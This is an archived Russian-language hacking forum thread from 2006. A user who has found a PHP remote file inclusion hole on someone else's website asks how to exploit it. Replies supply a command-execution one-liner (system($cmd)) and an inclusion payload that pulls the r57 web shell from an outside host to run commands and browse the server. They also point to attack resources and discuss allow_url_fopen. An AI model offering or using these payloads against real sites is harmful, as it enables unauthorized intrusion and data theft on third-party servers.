PDA

Просмотр полной версии : Объясните пожалуйста, нашел php-inj, что можно с нею сделать?

Марсеанчег
03.09.2006, 02:36
На одном из сайтов нашел возможность инклуда файла в параметр страницы page=http://mysite.com/icx и файл icx.php выполнеятся. Что можно с этим сделать? Например использовать shell(я в этом темный, объясните или пошлите куда-то прочитать, что оно есть ... и ссылку откуда скачать можно шелл с манулом ;)) )Ну или считать содержимое файлов как? Вот таким кодом хочу считать содержимое файла

if (fopen("http://www.somesite.com/main.php", "r")) {
echo "I can open it!";
$lines = file("http://www.somesite.com/main.php")


foreach ($lines as $line_num => $line) {
echo "#<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}



Выдает такую ошибку

#1 : <b>Fatal error</b>: Call to undefined function: showmain() in <b>/home/somesite/public/main.php</b> on line <b>2</b><br />

:confused:

//by SMiX: Код php суем в тег [php]
[loy]
03.09.2006, 02:47
иче

Распичатой на бумажке с форматом а4
Сходи с ней в туалет ............ потересь ей
поймеш какая плохая ошибка
Марсеанчег
03.09.2006, 09:07
Простейший способ <?php system($cmd);?>
Я так понял эта беда там отключена, пробовал, не пашет...

Распичатой на бумажке с форматом а4
Сходи с ней в туалет ............ потересь ей
поймеш какая плохая ошибка

лечимся...
gadjet
03.09.2006, 09:19
Попробуй page=http://rst.void.ru/download/r57shell.txt?
Сможешь выполнять команды, просматривать дирректории... Вобщем, действительно, поищи на ачате, найдешь все, что нужно. Советую посмотреть видео по подобной темматике(VIDEO.ANTICHAT.RU )
SMiX
03.09.2006, 13:20
#1 : <b>Fatal error</b>: Call to undefined function: showmain() in <b>/home/somesite/public/main.php</b> on line <b>2</b><br />
А можно весь код посмотреть?

ПыСька: В таких случаях не используем двойные кавычки, ибо производительность уменьшается. Двойные кавычки пхп парсит на наличие переменных, а у тебя там переменных нет - медвежий труд.
nc.STRIEM
03.09.2006, 18:03
ну на сколько я помню то функцией fopen() можно открывать только файлы расположенный на том же сайте что и сам файл с функцией....
SMiX
03.09.2006, 21:26
nc.STRIEM ты не прав. Такое будет только если хостер спецом так настроит php.ini. По умолчанию урлы fopen открывать может.
em00s7
03.09.2006, 22:44
Марсеанчег кидай строчку на который есть showmain() -))) или весь код )
[loy]
05.09.2006, 01:33
вот
тут меня попросили нормально написать пишу

вот из мана {

HTTP-соединения являются read-only; вы не можете записывать данные или копировать файлы в HTTP-ресурс.
}
fopen('http://vasya.narod.ru/file','r')
будет открыто соидение http если в php.ini стоит
allow_url_fopen=on
если что обращаейтесть я уже на пхп не первой год пишу

для gadjet
page=http://rst.void.ru/download/r57shell.txt?
если хостер поставил allow_url_fopen=off
то если http://rst.void.ru/download/r57shell.txt обрабатываецо фунций fopen то не фига не получитца